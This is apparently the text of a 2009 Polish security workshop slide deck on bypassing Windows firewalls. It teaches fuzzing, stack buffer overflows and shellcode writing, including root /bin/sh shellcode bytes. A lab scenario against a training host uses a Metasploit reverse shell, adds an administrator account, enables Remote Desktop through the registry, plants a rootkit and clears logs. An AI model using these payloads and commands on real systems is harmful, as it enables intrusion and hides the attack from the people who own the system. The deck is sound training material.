Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1
Agenda 10:00 Rozpoczęcie, powitanie uczestników, informacje organizacyjne 10:05 Poznajmy się: czym jest PCSS, Zespół Bezpieczeństwa PCSS i MIC? 10:05 Trochę informacji technicznych 10:15 Łamanie zabezpieczeń w praktyce 11:30 Przerwa 11:45 Lokalnie i zdalnie... 12:00 Firewalle - ćwiczenia w formie scenariusza 13:30 Na zakończenie garść przydatnej wiedzy i dyskusja 2
Informacje organizacyjne Ankieta Krótka i anonimowa Pomoc na przyszłość Lista obecności Proszę zaznaczyć, czy chcecie Państwo otrzymywać informacje o kolejnych szkoleniach Prezentacja dostępna na stronach WWW http://mic.psnc.pl http://szkolenia.man.poznan.pl http://security.psnc.pl 3
Kim jesteśmy i co robimy? 4
PCSS Poznańskie Centrum Superkomputerowo-Sieciowe: Sieciowe: 15 lat w październiku 2008 Operator sieci PIONIER (sieć dla edukacji i nauki) oraz POZMAN Uczestnik projektów naukowo- badawczych Główne obszary zainteresowań Gridy, sieci nowej generacji, portale Bezpieczeństwo sieci i systemów http://www.pcss.pl 5
Zespół Bezpieczeństwa PCSS Dedykowany zespół istnieje od 1996r. Podstawowy zakres prac Zespołu Zabezpieczanie infrastruktury PCSS Zadania bezpieczeństwa w projektach naukowo badawczych Szkolenia i transfer wiedzy Badania własne Audyty i doradztwo w zakresie bezpieczeństwa IT Niektóre badania z ostatnich lat Raport o bezpieczeństwie bankowości elektronicznej (2006) Bezpieczeństwo serwerów WWW Apache i MS IIS (2007) Bezpieczeństwo sklepów internetowych (2008) http://security.psnc.pl 6
Centrum Innowacji Microsoft Pierwsze w Polsce MIC Centrum Bezpieczeństwa i usług outsourcingowych Partnerzy Microsoft Corporation Poznańskie Centrum Superkomputerowo-Sieciowe Sieciowe Politechnika Poznańska Otwarcie: 1.06.2006r. http://mic.psnc.pl 7
Wybrane zadania MIC w 2009 Nowe obszary badań (od I 2009): Interoperacyjność systemów i technologii Wirtualizacja systemów Wysokowydajne przetwarzanie komputerowe (HPC) m.in. udział w programie HPC TAP Doroczna Konferencja MIC - 16 kwietnia 2009, 3. edycja 8
Szkolenia MIC I półrocze 2009 Interoperacyjność 27.05: Zastosowanie technologii Silverlight... 10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca usługi wirtualizacji i klastrowania 23.06: Bezpieczeństwo heterogenicznej platformy hostingowej(są jeszcze ostatnie wolne miejsca) Bezpieczeństwo 18.06: Omijanie firewalli w systemach Windows warsztaty BYOL dla specjalistów bezpieczeństwa 9
Szkolenia MIC II półrocze 2009 Interoperacyjność Windows HPC Server Exchange Labs jako uniwersalna platforma e-mail Bezpieczeństwo Bezpieczeństwo aplikacji ASP.NET MVC Bezpieczeństwo kontrolera domeny Szkolenia w Warszawie: IX/X 2009 (powtórzenie cyklu Interoperacyjność ) Zachęcamy do zgłaszania w ankietachpropozycji tematów na kolejne spotkania! 10
Informacje techniczne (1) System Linux Live + changes User: root / Passwd: toor Wifi - pcss-warsztaty wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf wpa_supplicant -i<interface wifi> -cwpa.conf 11
Informacje techniczne (2) Adresacja Brama 192.168.1.1 DNS 192.168.1.1 Serwer do ćwiczeń 192.168.1.7 Adres kliencki: 192.168.1.1XX ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0 ip route add default via 192.168.1.1 12
Architektura środowiska System Centralny XP_V1 XP_V2 XP_V3 XP_Vn... Wifi L1 L2 L3 Ln... 13
Łamanie zabezpieczeń wpraktyce Wyszukiwanie podatności Eksploitacja błędów Shellcoding
Wyszukiwanie podatności 15
Ręczne wyszukiwanie błędów Wartości niezgodne ze specyfikacją poza zakresem inne dane niż oczekiwane (float/string) znaki specjalne losowe
Automatyczne szukanie luk Fuzzer Stosunkowo łatwo napisać prosty fuzzer Fuzzing bardziej złożony rozbudowane dane wejściowe (np. jpeg) obsługa debuggera analiza wyników i dostosowywanie testowanych danych
Rodzaje fuzzerów Mutacyjne Generacyjne Ewolucyjne
Wady fuzzingu Nie znajduje błędów logicznych Nieokreślony czas znalezienia podatności Wraz zewzrostemskomplikowaniaprogramupostępuje wzrost złożoności fuzzer'a
Jak napisać prosty fuzzer (1) Analiza programu: na jakich danych operuje? skąd je bierze? Modyfikacja danych wejściowych różne znaki w parametrach różne długości parametrów modyfikacja przetwarzanych plików modyfikacje paczek sieciowych Najlepszewynikiosiągamy, gdymamydostępdo maszyny, na której znajduje się testowana aplikacja i jeżeli testujemy program w debugerze(olydbg, gdb), który pomoże w analizie błędu
Jak napisać prosty fuzzer (2) Po ustaleniu,co można zaatakować,czasemwystarczy... krótki skrypt w bash'u: #!/bin/bash #very simple fuzz x=1 C='i' licz=1 while [ $x -le 10 ]; do a=`./hello $C` wyn=$? if [ $wyn = 139 ] then echo "SEGV dla ilosci:"$licz exit fi C=$C'i' licz=$((licz+1)) done
Przykładowe znane fuzzery -Linux clfuzz.py napisanywpythonie fuzzer oparty o linię komend. Bardzo przydatny do testowania binariów setuidna błędy przepełnienia w linii komend zzuf działa w oparciu o mechanizm przechwytywania przerwań operacji plikowych i podmiany losowych bitów SPIKE to napisany w C kod, który jest bazą do tworzenia fuzzerów. Prawdopodobnie najszerzej wykorzystywany framework tego typu Peach SmartFuzzer zdolny wykorzystywać zalety fuzzerów generacyjnych i mutacyjnych
Przykładowe znane fuzzery -Windows AxMan webowy fuzzer oparty o mechanizmy ActiveX,napisany przez H.D. Moore a. Peach SmartFuzzer,zdolny wykorzystywać zalety fuzzerów generacyjnych I mutacyjnych
Bardziej złożone fuzzery W Pythonie dla Linux'a: http://192.168.1.7/fuzzing/fuzz.py W C++ dla Windowsa: http://192.168.1.7/fuzzing/fuzz_c.cpp
Ciekawostka Mozilla udostępnilaw 2007r JSfuzzer, którymtestowała Firefoksa. Dzięki temuznalezionozajegopomocą280 błędów, z czego27 można było wyeksploitować http://www.cgisecurity.com/2007/08/mozilla-releases-javascript- fuzzer-at-blackhat-.html
Exploitation 0x41414141 26
Pierwszy kod #include <unistd.h> char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA"; int main(int argc, char **argv) { } execl("./crackme", "./crackme", arg, NULL); return 0;
Stos Last In First Out Rośnie w dół Wątki posiadają odrębne stosy Operacje PUSH i POP
Rejestry i adresy ESP wskaźnik szczytu stosu, EIP wskaźnik instrukcji, EBP rejestr bazowy, EBP + 4 = RET RET adres powrotu,
0x41414141 (gdb) f 3 #3 0x41414141 in?? () (gdb) i reg eax 0x0 0 ecx 0xffffffff -1 edx 0x280e8c4c 672042060 ebx 0x3 3 esp 0xbfbfec48 0xbfbfec48 ebp 0x42424242 0x42424242 esi 0xbfbff7ac -1077938260 edi 0xbfbff7bc -1077938244 eip 0x41414141 0x41414141 eflags 0x286 646 cs 0x1f 31 ss 0x2f 47 ds 0x2f 47 es 0x2f 47 fs 0x2f 47 gs 0x2f 47
Rejestry General Purpose EAX, EBX, ECX Segment Pointers CS, DS Control EIP
RET -adres powrotu Gdzie jest nasz shellcode? export shellcode $(perl -e 'print A x100) Gdzie jest stos? echo 0 > /proc/sys/kernel/randomize_va_space Jak trafić? x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x 90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
Podatny kod #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *string) { char buffer[1024]; strcpy(buffer, string); return 1; } int main(int argc, char *argv[]) { bof(argv[1]); return 1; }
Ochrona pamięci Stack cookies Address Space Layout Randomization SafeSEH Heap Protection Data Execution Prevention
Separacja w Windows User mode ring 3 Kernel mode ring 0
Stałe błędy programistyczne (1) Stack Overflow np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3
Stałe błędy programistyczne (2) Niedostateczna walidacja adresów pochodzących z user-mode np. nadpisujemy wskaźnik do danej funkcji ring 0 adresem wskazującym na ring 3
Stałe błędy programistyczne (3) Non-executable stack DEP Return to libc przekierowanie sterowania do funkcji,a na stosie znajdują się parametry system() - uruchamia proces
Shellcoding 39
Definicja kod maszynowy możliwy do wykonania bezpośrednio przez procesor, wykonujący zawsze DOKŁADNIE to, co chcemy brak statycznych odwołań Pomijamy,jeśli tylko sięda,znak -> NULL xor X X http://192.168.1.7/shellcoding/
Narzędzia gcc -kompilator, as - assembler, ld -linker, gdb - debuger, objdump (-x, -d, -D) > disassembler+ strace vi i inne
Wrapper kodu assemblera (test.c) char shellcode[] = ""; //nasz shellcode w tablicy globalnej int main (int argc, char **argv) { int (*ret)(); //wskaznik funkcji ret = (int(*)())shellcode; //wskazujemy nasz shellcode } (int)(*ret)(); return 0; //wywolanie jak funkcji
Budowanie shellcode'u krok po kroku 1. Co ma robić shellcode? 2. Definicja funkcji przez niego używanych, 3. Wywołania systemowe potrzebnych funkcji, 4. Budowa kodu assemblera, 5.Kompilacja do binarki, 6. Deassemblacja, 7. Budowanie shellcodu, 8. Test.
Przyklad (1) exit(0) Funkcja exit() Definicja -> man 2 exit http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit void _exit(int status);
Przyklad (1) exit(0) syscall grep NR_exit /usr/include/asm/unistd_32.h #define NR_exit 1 grep NR_exit /usr/include/asm/unistd.h grep NR_exit /usr/include/asm/unistd_64.h
Przyklad (1) exit(0) As exit.s -o exit.o ld exit.o -o exit./exit echo $? objdump -d exit shellcode: \x31\xc0\xb0\x01\x31\xdb\xcd\x80 kilka testów (test_exit.c)
Przyklad (2) Hello World Funkcje exit() i write() Definicja -> man 2 exit http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit void _exit(int status); Definicja -> man 2 write http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write ssize_t write(int fd, const void *buf, size_t count);
Przyklad (2) Hello World syscall grep NR_exit /usr/include/asm/unistd_32.h #define NR_exit 1 grep NR_write /usr/include/asm/unistd_32.h #define NR_write 4
Przyklad (2) Hello World Własności i ich konsekwencje brak NULL i statycznych odwołań call call wrzuca następującą po niej wartość(standardowo adres powrotu) na stos i przenosi kontrolędo miejsca, ktorejest jej parametrem.
Przyklad (2) Hello World as hello.s -o hello.o ld hello.o -o hello./hello objdump -d hello shellcode: "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\ "\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\ "\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\ "\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a" test (test_hello.c)
Przyklad (2) Hello World Uwaga: H e l l o, W o r l d! \n 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a czyli: \x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a
Przyklad (3) /bin/sh + root Funkcje setreuid() i execve() Definicja -> man 2 setreuid http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid int setreuid(uid_t ruid, uid_t euid); Definicja -> man 2 execve http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve int execve(const char *filename, char *const argv[], char *const envp[]);
Przyklad (3) /bin/sh + root syscall grep NR_setreuid /usr/include/asm/unistd_32.h #define NR_setreuid 70 grep NR_execve /usr/include/asm/unistd_32.h #define NR_execve 11
Przyklad (3) /bin/sh + root execve("/bin/sh", *"/bin/sh", (char **)NULL); execve("/bin/sh", - ciąg do wywołania (bez NULLi!) *"/bin/sh", -adres tego ciągu (char**)null) -NULL-owy wskaźnik do przyległej pamięci (parametry wywołania /bin/sh) ciąg w pamięci wygląda tak: /bin/shnxxxxyyyy gdzie N ma wartośćdokładnie \0 (koniec ciągu), czyli dla nas zakazaną nie możemy mu nadać wartości NULL, ale możemy go XOR-ować XXXX (4 bajty) to adres adresu naszego ciągu YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)
Przyklad (3) /bin/sh + root As shell.s -o shell.o ld shell.o -o shell./shell (?) shellcode: (?)
Przyklad (3) /bin/sh + root Segmentation fault!!! Dlaczego??
Przyklad (3) /bin/sh + root as -g shell.s -o shell.o (przydaje się, ale nie jest konieczne) ld shell.o -o shell objdump -x shell.text ma atrybut readonly :/ ale.data :D
Przyklad (3) /bin/sh + root as shell_new.s -o shell_new.o ld shell_new.o -o shell_new./shell_new objdump -d shell_new "\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\ "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\ "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\ "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" test (test_shell_new.c)
Co dalej? minimalizacja długości shellcody bez konkretnych znaków shellcody tylko ze znaków drukowalnych
Przerwa 60
Lokalnie i zdalnie...
Szukanie błędów Większy problem ze zdefiniowaniem faktu błędu Niejednoznacze odpowiedzi od serwera Utrudnione debugowanie
Exploitowanie Znaczące problemy z uzyskaniem danych o procesach (rejestrach) oraz stanie usługi Brak znajomości środowiska docelowego
Shellcoding Wymagana jest dokładna znajomość systemu zdalnego Przy założeniu dokładnie tych samych funkcjonalności shellcodu złożoność problemu jest w przybliżeniu identyczna
Firewalle -ćwiczenia wformie scenariusza
Wprowadzenie Wiedza początkowa agresora: Cel znajduje się pod adresem 192.168.1.7, Cel wykorzystuje system Windows, Cel jest chroniony przez co najmniej jeden firewall
Rozpoznanie maszyny Skan adresu 192.168.1.7
Podpowiedź (!) Poszukiwany otwarty port: 133XX
Rozpoznanie reakcji na porcie Skanowanie Próby połączeń Testy reakcji na pakiety
Fuzzing na rozpoznany port Zadanie: Napisać (odszukać, przystosować) fuzzera i zaatakować port
Podpowiedź (!) http://172.168.1.7/fuzzing/fuzz_lan.py
Reakcja usługi na danym procie Analiza wykonanych czynności ireakcji serwera
Ponowne rozpoznanie portów Skanowanie
Podpowiedź (!) Poszukiwany otwarty port: 144XX
Ponowne rozpoznanie usługi rozpoznanie atak explitowanie przez znane luki
Podpowiedź (!) Metasploit BadBlue windows/shell/reverse_tcp
Dalsze działanie (1) Dodanie konta z prawami administratora
Podpowiedź (!) net user janek janka /add net localgroup net localgroup Administratorzy janek /add
Dalsze działanie (2) Otwieramy dostęp przy pomocy: Windows XPRemote Desktop
Podpowiedź (!) Weryfikacja ustawień: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fdenytsconnections Zmiana ustawień: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfdenytsconnections /t REG_DWORD /d 0x0
Dalsze działania + czyszczenie (1) Komunikat firewalla usunięcie (?) Umieszczenie programu typu rootkit Ponowne uruchomienie usługi firewalla (Kerio Ponowne uruchomienie usługi firewalla (Kerio Personall Firewall)
Dalsze działania + czyszczenie (2) Czyszczenie logów systemowych Usunięcie dodanego konta Wyłączenie Remote Desktop
Założenie (!) Atak przeprowadzamy z sieci lokalnej, ale Internet jest udostępniony przez inny interfejs, na którym dostępny dla TCP jest jedynie port docelowy 80-ty (dodatkowy system firewall dla styku sieci lokalnej i Internetu)
Rootkit -> Podpowiedź (!) WinAPI DllInjection lub IP over DNS
Schemat wyjścia rootkita Proces aplikacji - hosta FW Wątek podczepiany
Na zakończenie garść przydatnej wiedzy idyskusja
Shellcody, rootkity, exploity gdzie ich szukać? INTERNET!!!!...czego dowodzą dzisiejsze warsztaty!
Ciekawostka analiza exploita Kerio Personal Firewall v2.1.4 remote code execution exploit http://192.168.1.7/exploit/kpf214.txt
Analiza DllInjection schemat (1) NIE Start Znaleziono hosta? TAK Wstrzyknij kod http://192.168.1.7/winapi/kod.tar.gz
Zabezpieczenia!? Aktualizacja, aktualizacja, aktualizacja (!) Godny polecenia producent oprogramowania Dbanie o czystość własnego systemu Świadome użytkowanie komputera
Dlaczego nacisk na atak, a nie na obronę???? Dyskusja! 91
Informacje kontaktowe Autorzy prezentacji bluerose@man.poznan.pl whly@man.poznan.pl mateusz@man.poznan.pl Centrum Innowacji Microsoft PCSS http://mic.psnc.pl mic@man.poznan.pl http://www.pcss.pl Zespół Bezpieczeństwa PCSS http://security.psnc.pl security@man.poznan.pl 92
Pytania i dyskusja, propozycje? Dziękujemy za uwagę! 93